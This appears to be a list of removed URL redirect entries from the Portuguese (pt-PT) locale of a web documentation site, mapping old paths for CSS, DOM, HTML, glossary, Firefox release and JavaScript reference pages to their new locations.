-/pt-PT/docs/CSS/inherit /pt-PT/docs/Web/CSS/inherit
-/pt-PT/docs/CSS/list-style /pt-PT/docs/Web/CSS/list-style
-/pt-PT/docs/CSS/top /pt-PT/docs/Web/CSS/top
-/pt-PT/docs/CSS/width /pt-PT/docs/Web/CSS/width
-/pt-PT/docs/CSS/z-index /pt-PT/docs/Web/CSS/z-index
-/pt-PT/docs/CSS::after /pt-PT/docs/Web/CSS/::after
-/pt-PT/docs/CSS::before /pt-PT/docs/Web/CSS/::before
-/pt-PT/docs/CSS:@import /pt-PT/docs/Web/CSS/@import
-/pt-PT/docs/CSS:@media /pt-PT/docs/Web/CSS/@media
-/pt-PT/docs/CSS:Como_começar /pt-PT/docs/Learn/CSS/First_steps
-/pt-PT/docs/CSS:Como_começar:CSS_legível /pt-PT/docs/Learn/CSS/First_steps/How_CSS_is_structured
-/pt-PT/docs/CSS:Como_começar:Caixas /pt-PT/docs/Learn/CSS/Building_blocks
-/pt-PT/docs/CSS:Como_começar:Cascata_e_herança /pt-PT/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance
-/pt-PT/docs/CSS:Como_começar:Como_o_CSS_trabalha /pt-PT/docs/Learn/CSS/First_steps/How_CSS_works
-/pt-PT/docs/CSS:Como_começar:Conteúdo /pt-PT/docs/Learn/CSS/Howto/Generated_content
-/pt-PT/docs/CSS:Como_começar:Cor /pt-PT/docs/Learn/CSS/Building_blocks/Values_and_units
-/pt-PT/docs/CSS:Como_começar:Dados_XML /pt-PT/docs/Web/CSS/Como_começar/Dados_XML
-/pt-PT/docs/CSS:Como_começar:Disposição /pt-PT/docs/Learn/CSS/CSS_layout
-/pt-PT/docs/CSS:Como_começar:Estilos_de_texto /pt-PT/docs/Learn/CSS/Styling_text/Fundamentals
-/pt-PT/docs/CSS:Como_começar:Gráficos_SVG /pt-PT/docs/Web/SVG/Tutorial/SVG_and_CSS
-/pt-PT/docs/CSS:Como_começar:Interfaces_de_usuário_XUL /pt-PT/docs/Web/CSS/Como_começar/Interfaces_de_usuário_XUL
-/pt-PT/docs/CSS:Como_começar:JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
-/pt-PT/docs/CSS:Como_começar:Listas /pt-PT/docs/Learn/CSS/Styling_text/Styling_lists
-/pt-PT/docs/CSS:Como_começar:Mídia /pt-PT/docs/Web/Progressive_web_apps/Responsive/Media_types
-/pt-PT/docs/CSS:Como_começar:O_que_é_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works
-/pt-PT/docs/CSS:Como_começar:O_que_é_CSS? /pt-PT/docs/orphaned/Web/CSS/Como_começar/O_que_é_CSS?
-/pt-PT/docs/CSS:Como_começar:Porque_usar_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460
-/pt-PT/docs/CSS:Como_começar:Seletores /pt-PT/docs/Learn/CSS/Building_blocks/Selectors
-/pt-PT/docs/CSS:Como_começar:Tabelas /pt-PT/docs/Learn/CSS/Building_blocks/Styling_tables
-/pt-PT/docs/CSS:azimuth /pt-PT/docs/Web/CSS/azimuth
-/pt-PT/docs/CSS:background /pt-PT/docs/Web/CSS/background
-/pt-PT/docs/CSS:background-attachment /pt-PT/docs/Web/CSS/background-attachment
-/pt-PT/docs/CSS:background-color /pt-PT/docs/Web/CSS/background-color
-/pt-PT/docs/CSS:background-image /pt-PT/docs/Web/CSS/background-image
-/pt-PT/docs/CSS:background-position /pt-PT/docs/Web/CSS/background-position
-/pt-PT/docs/CSS:background-repeat /pt-PT/docs/Web/CSS/background-repeat
-/pt-PT/docs/CSS:border /pt-PT/docs/Web/CSS/border
-/pt-PT/docs/CSS:border-bottom /pt-PT/docs/Web/CSS/border-bottom
-/pt-PT/docs/CSS:border-bottom-color /pt-PT/docs/Web/CSS/border-bottom-color
-/pt-PT/docs/CSS:border-bottom-style /pt-PT/docs/Web/CSS/border-bottom-style
-/pt-PT/docs/CSS:border-bottom-width /pt-PT/docs/Web/CSS/border-bottom-width
-/pt-PT/docs/CSS:border-collapse /pt-PT/docs/Web/CSS/border-collapse
-/pt-PT/docs/CSS:border-color /pt-PT/docs/Web/CSS/border-color
-/pt-PT/docs/CSS:border-left /pt-PT/docs/Web/CSS/border-left
-/pt-PT/docs/CSS:border-left-color /pt-PT/docs/Web/CSS/border-left-color
-/pt-PT/docs/CSS:border-left-style /pt-PT/docs/Web/CSS/border-left-style
-/pt-PT/docs/CSS:border-left-width /pt-PT/docs/Web/CSS/border-left-width
-/pt-PT/docs/CSS:border-right /pt-PT/docs/Web/CSS/border-right
-/pt-PT/docs/CSS:border-right-color /pt-PT/docs/Web/CSS/border-right-color
-/pt-PT/docs/CSS:border-right-style /pt-PT/docs/Web/CSS/border-right-style
-/pt-PT/docs/CSS:border-right-width /pt-PT/docs/Web/CSS/border-right-width
-/pt-PT/docs/CSS:border-spacing /pt-PT/docs/Web/CSS/border-spacing
-/pt-PT/docs/CSS:border-top /pt-PT/docs/Web/CSS/border-top
-/pt-PT/docs/CSS:border-top-color /pt-PT/docs/Web/CSS/border-top-color
-/pt-PT/docs/CSS:border-top-style /pt-PT/docs/Web/CSS/border-top-style
-/pt-PT/docs/CSS:border-top-width /pt-PT/docs/Web/CSS/border-top-width
-/pt-PT/docs/CSS:border-width /pt-PT/docs/Web/CSS/border-width
-/pt-PT/docs/CSS:bottom /pt-PT/docs/Web/CSS/bottom
-/pt-PT/docs/CSS:clear /pt-PT/docs/Web/CSS/clear
-/pt-PT/docs/CSS:color /pt-PT/docs/Web/CSS/color
-/pt-PT/docs/CSS:counter-increment /pt-PT/docs/Web/CSS/counter-increment
-/pt-PT/docs/CSS:counter-reset /pt-PT/docs/Web/CSS/counter-reset
-/pt-PT/docs/CSS:cursor /pt-PT/docs/Web/CSS/cursor
-/pt-PT/docs/CSS:direction /pt-PT/docs/Web/CSS/direction
-/pt-PT/docs/CSS:display /pt-PT/docs/Web/CSS/display
-/pt-PT/docs/CSS:float /pt-PT/docs/Web/CSS/float
-/pt-PT/docs/CSS:font /pt-PT/docs/Web/CSS/font
-/pt-PT/docs/CSS:font-size /pt-PT/docs/Web/CSS/font-size
-/pt-PT/docs/CSS:font-size-adjust /pt-PT/docs/Web/CSS/font-size-adjust
-/pt-PT/docs/CSS:font-style /pt-PT/docs/Web/CSS/font-style
-/pt-PT/docs/CSS:font-weight /pt-PT/docs/Web/CSS/font-weight
-/pt-PT/docs/CSS:height /pt-PT/docs/Web/CSS/height
-/pt-PT/docs/CSS:inherit /pt-PT/docs/Web/CSS/inherit
-/pt-PT/docs/CSS:list-style /pt-PT/docs/Web/CSS/list-style
-/pt-PT/docs/CSS:width /pt-PT/docs/Web/CSS/width
-/pt-PT/docs/CSS:z-index /pt-PT/docs/Web/CSS/z-index
-/pt-PT/docs/Componentes /pt-PT/docs/orphaned/Componentes
-/pt-PT/docs/Compressão_de_Temas /pt-PT/docs/Empacotando_Temas
-/pt-PT/docs/Configurando_um_servidor_de_atualização /pt-PT/docs/orphaned/Configurando_um_servidor_de_atualização
-/pt-PT/docs/Construir_uma_Extensão /pt-PT/docs/orphaned/Construir_uma_Extensão
-/pt-PT/docs/Controles_Customizados /pt-PT/docs/orphaned/XForms/Controles_Customizados
-/pt-PT/docs/Controles_XUL /pt-PT/docs/orphaned/Controles_XUL
-/pt-PT/docs/Criando_plugins_OpenSearch_para_o_Firefox /pt-PT/docs/Web/OpenSearch
-/pt-PT/docs/Criando_um_visual_para_o_Firefox /pt-PT/docs/orphaned/Criando_um_visual_para_o_Firefox
-/pt-PT/docs/Criando_um_visual_para_o_Firefox:Iniciando /pt-PT/docs/Criando_um_visual_para_o_Firefox/Iniciando
-/pt-PT/docs/Criando_um_visual_para_o_Firefox:UUID /pt-PT/docs/Criando_um_visual_para_o_Firefox/UUID
-/pt-PT/docs/Criando_um_visual_para_o_Firefox:contents.rdf /pt-PT/docs/Criando_um_visual_para_o_Firefox/contents.rdf
-/pt-PT/docs/Criando_um_visual_para_o_Firefox:install.rdf /pt-PT/docs/Criando_um_visual_para_o_Firefox/install.rdf
-/pt-PT/docs/Criar_uma_pele_para_o_Firefox /pt-PT/docs/orphaned/Criar_uma_pele_para_o_Firefox
-/pt-PT/docs/DHTML /pt-PT/docs/Glossary/DHTML
-/pt-PT/docs/DOM /pt-PT/docs/Web/API/Document_Object_Model
-/pt-PT/docs/DOM/DOM_Reference /pt-PT/docs/Web/API/Document_Object_Model
-/pt-PT/docs/DOM/DOM_Storage /pt-PT/docs/Web/API/Web_Storage_API
-/pt-PT/docs/DOM/Selection /pt-PT/docs/Web/API/Selection
-/pt-PT/docs/DOM/Storage /pt-PT/docs/Web/API/Web_Storage_API
-/pt-PT/docs/DOM/document.alinkColor /pt-PT/docs/Web/API/Document/alinkColor
-/pt-PT/docs/DOM/document.bgColor /pt-PT/docs/Web/API/Document/bgColor
-/pt-PT/docs/DOM/document.cookie /pt-PT/docs/Web/API/Document/cookie
-/pt-PT/docs/DOM/document.getElementsByClassName /pt-PT/docs/Web/API/Document/getElementsByClassName
-/pt-PT/docs/DOM/element /pt-PT/docs/Web/API/Element
-/pt-PT/docs/DOM/element.appendChild /pt-PT/docs/Web/API/Node/appendChild
-/pt-PT/docs/DOM/element.clientLeft /pt-PT/docs/Web/API/Element/clientLeft
-/pt-PT/docs/DOM/element.clientTop /pt-PT/docs/Web/API/Element/clientTop
-/pt-PT/docs/DOM/element.cloneNode /pt-PT/docs/Web/API/Node/cloneNode
-/pt-PT/docs/DOM/element.insertBefore /pt-PT/docs/Web/API/Node/insertBefore
-/pt-PT/docs/DOM:document.getElementsByClassName /pt-PT/docs/Web/API/Document/getElementsByClassName
-/pt-PT/docs/DOM:element /pt-PT/docs/Web/API/Element
-/pt-PT/docs/DOM:element.appendChild /pt-PT/docs/Web/API/Node/appendChild
-/pt-PT/docs/DOM:element.clientLeft /pt-PT/docs/Web/API/Element/clientLeft
-/pt-PT/docs/DOM:element.clientTop /pt-PT/docs/Web/API/Element/clientTop
-/pt-PT/docs/DOM:element.cloneNode /pt-PT/docs/Web/API/Node/cloneNode
-/pt-PT/docs/DOM:element.insertBefore /pt-PT/docs/Web/API/Node/insertBefore
-/pt-PT/docs/DOM_Inspector /pt-PT/docs/orphaned/Tools/Add-ons/DOM_Inspector
-/pt-PT/docs/DOM_Inspector/Introduction_to_DOM_Inspector /pt-PT/docs/orphaned/Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector
-/pt-PT/docs/Desenhando_texto_usando_canvas /pt-PT/docs/orphaned/Desenhando_texto_usando_canvas
-/pt-PT/docs/Desenvolvimento_Web /pt-PT/docs/Web/Guide
-/pt-PT/docs/Eventos_online_e_offline /pt-PT/docs/Web/API/NavigatorOnLine/Online_and_offline_events
-/pt-PT/docs/FAQ_Extensões /pt-PT/docs/orphaned/FAQ_Extensões
-/pt-PT/docs/Firefox_1.5_para_Desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/1.5
-/pt-PT/docs/Firefox_2_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/2
-/pt-PT/docs/Firefox_3.5_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/3.5
-/pt-PT/docs/Firefox_3.6_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/3.6
-/pt-PT/docs/Firefox_3_para_desenvolvedores /pt-PT/docs/orphaned/Firefox_3_para_desenvolvedores
-/pt-PT/docs/Firefox_4_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/4
-/pt-PT/docs/Firefox_5_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/5
-/pt-PT/docs/Firefox_6_para_desenvolvedores /pt-PT/docs/Mozilla/Firefox/Releases/6
-/pt-PT/docs/Folhas_de_estilo_alternativas /pt-PT/docs/Web/CSS/Alternative_style_sheets
-/pt-PT/docs/Glossário /pt-PT/docs/Glossary
-/pt-PT/docs/Glossário/404 /pt-PT/docs/Glossary/404
-/pt-PT/docs/Glossário/502 /pt-PT/docs/Glossary/502
-/pt-PT/docs/Glossário/AJAX /pt-PT/docs/Glossary/AJAX
-/pt-PT/docs/Glossário/API /pt-PT/docs/conflicting/Glossary/API
-/pt-PT/docs/Glossário/ARIA /pt-PT/docs/Glossary/ARIA
-/pt-PT/docs/Glossário/Acessibilidade /pt-PT/docs/Glossary/Accessibility
-/pt-PT/docs/Glossário/Argumento /pt-PT/docs/Glossary/Argument
-/pt-PT/docs/Glossário/Assinatura /pt-PT/docs/Glossary/Signature
-/pt-PT/docs/Glossário/BigInt /pt-PT/docs/Glossary/BigInt
-/pt-PT/docs/Glossário/CIA /pt-PT/docs/Glossary/CIA
-/pt-PT/docs/Glossário/CRLF /pt-PT/docs/Glossary/CRLF
-/pt-PT/docs/Glossário/CRUD /pt-PT/docs/Glossary/CRUD
-/pt-PT/docs/Glossário/Cabeçalho_de_entidade /pt-PT/docs/Glossary/Entity_header
-/pt-PT/docs/Glossário/Cache /pt-PT/docs/Glossary/Cache
-/pt-PT/docs/Glossário/Compilar /pt-PT/docs/Glossary/Compile
-/pt-PT/docs/Glossário/Compressao_GZip /pt-PT/docs/Glossary/GZip_compression
-/pt-PT/docs/Glossário/DOM /pt-PT/docs/Glossary/DOM
-/pt-PT/docs/Glossário/ECMA /pt-PT/docs/Glossary/ECMA
-/pt-PT/docs/Glossário/Eixo_principal /pt-PT/docs/Glossary/Main_Axis
-/pt-PT/docs/Glossário/Eixo_transversal /pt-PT/docs/Glossary/Cross_Axis
-/pt-PT/docs/Glossário/Elemento /pt-PT/docs/Glossary/Element
-/pt-PT/docs/Glossário/Etiqueta /pt-PT/docs/Glossary/Tag
-/pt-PT/docs/Glossário/Extensoes_da_Web /pt-PT/docs/Glossary/WebExtensions
-/pt-PT/docs/Glossário/Favicon /pt-PT/docs/Glossary/Favicon
-/pt-PT/docs/Glossário/Flexbox /pt-PT/docs/Glossary/Flexbox
-/pt-PT/docs/Glossário/GCS /pt-PT/docs/Glossary/SCM
-/pt-PT/docs/Glossário/Git /pt-PT/docs/Glossary/Git
-/pt-PT/docs/Glossário/HTML /pt-PT/docs/Glossary/HTML
-/pt-PT/docs/Glossário/Hipertexto /pt-PT/docs/Glossary/Hypertext
-/pt-PT/docs/Glossário/IANA /pt-PT/docs/Glossary/IANA
-/pt-PT/docs/Glossário/ISP /pt-PT/docs/Glossary/ISP
-/pt-PT/docs/Glossário/Idempotent /pt-PT/docs/Glossary/Idempotent
-/pt-PT/docs/Glossário/IndexedDB /pt-PT/docs/Glossary/IndexedDB
-/pt-PT/docs/Glossário/Lazy_load /pt-PT/docs/Glossary/Lazy_load
-/pt-PT/docs/Glossário/Metadados /pt-PT/docs/Glossary/Metadata
-/pt-PT/docs/Glossário/MitM /pt-PT/docs/Glossary/MitM
-/pt-PT/docs/Glossário/Modo_de_operação_de_cifra_de_bloco /pt-PT/docs/Glossary/Block_cipher_mode_of_operation
-/pt-PT/docs/Glossário/Motor /pt-PT/docs/Glossary/Engine
-/pt-PT/docs/Glossário/Navegador /pt-PT/docs/Glossary/Browser
-/pt-PT/docs/Glossário/Node.js /pt-PT/docs/Glossary/Node.js
-/pt-PT/docs/Glossário/OOP /pt-PT/docs/Glossary/OOP
-/pt-PT/docs/Glossário/OTA /pt-PT/docs/Glossary/OTA
-/pt-PT/docs/Glossário/Objeto /pt-PT/docs/Glossary/Object
-/pt-PT/docs/Glossário/Polyfill /pt-PT/docs/Glossary/Polyfill
-/pt-PT/docs/Glossário/Prototype-based_programming /pt-PT/docs/Glossary/Prototype-based_programming
-/pt-PT/docs/Glossário/Referencia_de_objeto /pt-PT/docs/Glossary/Object_reference
-/pt-PT/docs/Glossário/Servidor /pt-PT/docs/Glossary/Server
-/pt-PT/docs/Glossário/UTF-8 /pt-PT/docs/Glossary/UTF-8
-/pt-PT/docs/Glossário/Valor /pt-PT/docs/Glossary/Value
-/pt-PT/docs/Glossário/Viewport /pt-PT/docs/Glossary/Viewport
-/pt-PT/docs/Glossário/Viewport_Visual /pt-PT/docs/Glossary/Visual_Viewport
-/pt-PT/docs/Glossário/WHATWG /pt-PT/docs/Glossary/WHATWG
-/pt-PT/docs/Glossário/WebRTC /pt-PT/docs/Glossary/WebRTC
-/pt-PT/docs/Glossário/WebVTT /pt-PT/docs/Glossary/WebVTT
-/pt-PT/docs/Glossário/World_Wide_Web /pt-PT/docs/Glossary/World_Wide_Web
-/pt-PT/docs/Glossário/Wrapper /pt-PT/docs/Glossary/Wrapper
-/pt-PT/docs/Glossário/XML /pt-PT/docs/Glossary/XML
-/pt-PT/docs/Glossário/booliano /pt-PT/docs/Glossary/Boolean
-/pt-PT/docs/HTML /pt-PT/docs/Web/HTML
-/pt-PT/docs/HTML/Aplicar_cor__elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color
-/pt-PT/docs/HTML/Atributos /pt-PT/docs/Web/HTML/Attributes
-/pt-PT/docs/HTML/Atributos_globais /pt-PT/docs/Web/HTML/Global_attributes
-/pt-PT/docs/HTML/Element /pt-PT/docs/Web/HTML/Element
-/pt-PT/docs/HTML/Element/Audio /pt-PT/docs/Web/HTML/Element/audio
-/pt-PT/docs/HTML/Element/figcaption /pt-PT/docs/Web/HTML/Element/figcaption
-/pt-PT/docs/HTML/Element/figure /pt-PT/docs/Web/HTML/Element/figure
-/pt-PT/docs/HTML/Element/progress /pt-PT/docs/Web/HTML/Element/progress
-/pt-PT/docs/HTML/Elemento /pt-PT/docs/Web/HTML/Element
-/pt-PT/docs/HTML/Elemento/Audio /pt-PT/docs/Web/HTML/Element/audio
-/pt-PT/docs/HTML/Elemento/Video /pt-PT/docs/Web/HTML/Element/video
-/pt-PT/docs/HTML/Elemento/figcaption /pt-PT/docs/Web/HTML/Element/figcaption
-/pt-PT/docs/HTML/Elemento/head /pt-PT/docs/Web/HTML/Element/head
-/pt-PT/docs/HTML/Elemento/nav /pt-PT/docs/Web/HTML/Element/nav
-/pt-PT/docs/HTML/Elemento/progress /pt-PT/docs/Web/HTML/Element/progress
-/pt-PT/docs/HTML/Elemento/progress/progress /pt-PT/docs/Web/HTML/Element/progress
-/pt-PT/docs/HTML/HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5
-/pt-PT/docs/HTML/HTML5/Forms_no_HTML5 /pt-PT/docs/orphaned/Learn/HTML/Forms/HTML5_updates
-/pt-PT/docs/HTML/HTML5/Introdução_ao_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5
-/pt-PT/docs/HTML/HTML5/Parser_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/HTML5_Parser
-/pt-PT/docs/HTML/Referencia /pt-PT/docs/Web/HTML/Reference
-/pt-PT/docs/HTML/Tipos_de_hiperligacao /pt-PT/docs/Web/HTML/Link_types
-/pt-PT/docs/HTMLToDelete /en-US/docs/Web/HTML
-/pt-PT/docs/HTMLToDelete/Aplicar_cor__elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color
-/pt-PT/docs/HTMLToDelete/Atributos /pt-PT/docs/Web/HTML/Attributes
-/pt-PT/docs/HTMLToDelete/Atributos_globais /pt-PT/docs/Web/HTML/Global_attributes
-/pt-PT/docs/HTMLToDelete/Element /pt-PT/docs/Web/HTML/Element
-/pt-PT/docs/HTMLToDelete/Element/Audio /pt-PT/docs/Web/HTML/Element/audio
-/pt-PT/docs/HTMLToDelete/Element/figure /pt-PT/docs/Web/HTML/Element/figure
-/pt-PT/docs/HTMLToDelete/Element/progress /pt-PT/docs/Web/HTML/Element/progress
-/pt-PT/docs/HTMLToDelete/Elemento /pt-PT/docs/Web/HTML/Element
-/pt-PT/docs/HTMLToDelete/Elemento/Audio /pt-PT/docs/Web/HTML/Element/audio
-/pt-PT/docs/HTMLToDelete/Elemento/Video /pt-PT/docs/Web/HTML/Element/video
-/pt-PT/docs/HTMLToDelete/Elemento/figcaption /pt-PT/docs/Web/HTML/Element/figcaption
-/pt-PT/docs/HTMLToDelete/Elemento/head /pt-PT/docs/Web/HTML/Element/head
-/pt-PT/docs/HTMLToDelete/Elemento/nav /pt-PT/docs/Web/HTML/Element/nav
-/pt-PT/docs/HTMLToDelete/Elemento/progress /pt-PT/docs/Web/HTML/Element/progress
-/pt-PT/docs/HTMLToDelete/Referencia /pt-PT/docs/Web/HTML/Reference
-/pt-PT/docs/HTMLToDelete/Tipos_de_hiperligacao /pt-PT/docs/Web/HTML/Link_types
-/pt-PT/docs/Introducao_a_XML /pt-PT/docs/Web/XML/XML_introduction
-/pt-PT/docs/JavaScript /pt-PT/docs/Web/JavaScript
-/pt-PT/docs/JavaScript/Guia /pt-PT/docs/Web/JavaScript/Guide
-/pt-PT/docs/JavaScript/Guia/Expressoes_e_Operadores /pt-PT/docs/orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores
-/pt-PT/docs/JavaScript/Guia/Introdução_ao_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript
-/pt-PT/docs/JavaScript/Guia/Sobre /pt-PT/docs/orphaned/Web/JavaScript/Guia/Sobre
-/pt-PT/docs/JavaScript/Guia/Valores,_Variáveis_e_Literais /pt-PT/docs/orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais
-/pt-PT/docs/JavaScript/Novidades_no_JavaScript /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript
-/pt-PT/docs/JavaScript/Novidades_no_JavaScript/Novidades_no_Javascript_1.8 /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript/Novidades_no_Javascript_1.8
-/pt-PT/docs/JavaScript/O_que_é_o_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/O_que_é_o_JavaScript
-/pt-PT/docs/JavaScript/Referência/About /en-US/docs/Web/JavaScript/Reference/About
-/pt-PT/docs/JavaScript/Referência/Code_comments /en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Comments
-/pt-PT/docs/JavaScript/Referência/Deprecated_and_obsolete_features /en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features
-/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope /en-US/docs/Web/JavaScript/Reference/Functions
-/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope/arguments /en-US/docs/Web/JavaScript/Reference/Functions/arguments
-/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope/arguments/callee /en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee
-/pt-PT/docs/JavaScript/Referência/Functions_and_function_scope/arguments/length /en-US/docs/Web/JavaScript/Reference/Functions/arguments/length
-/pt-PT/docs/JavaScript/Referência/Global_Objects /en-US/docs/Web/JavaScript/Reference/Global_Objects
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/Reduce /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/ReduceRight /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/concat /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/every /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/filter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/forEach /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/indexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/isArray /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/join /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/lastIndexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/length /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/length
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/map /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/pop /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/push /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/reverse /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/shift /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/slice /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/some /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/sort /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/splice /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Array/unshift /en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Boolean/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean/valueOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/UTC /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/UTC
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getDay /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getHours
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMinutes
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getMonth
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getSeconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getTime /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getTime
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getTimezoneOffset /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCDay /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
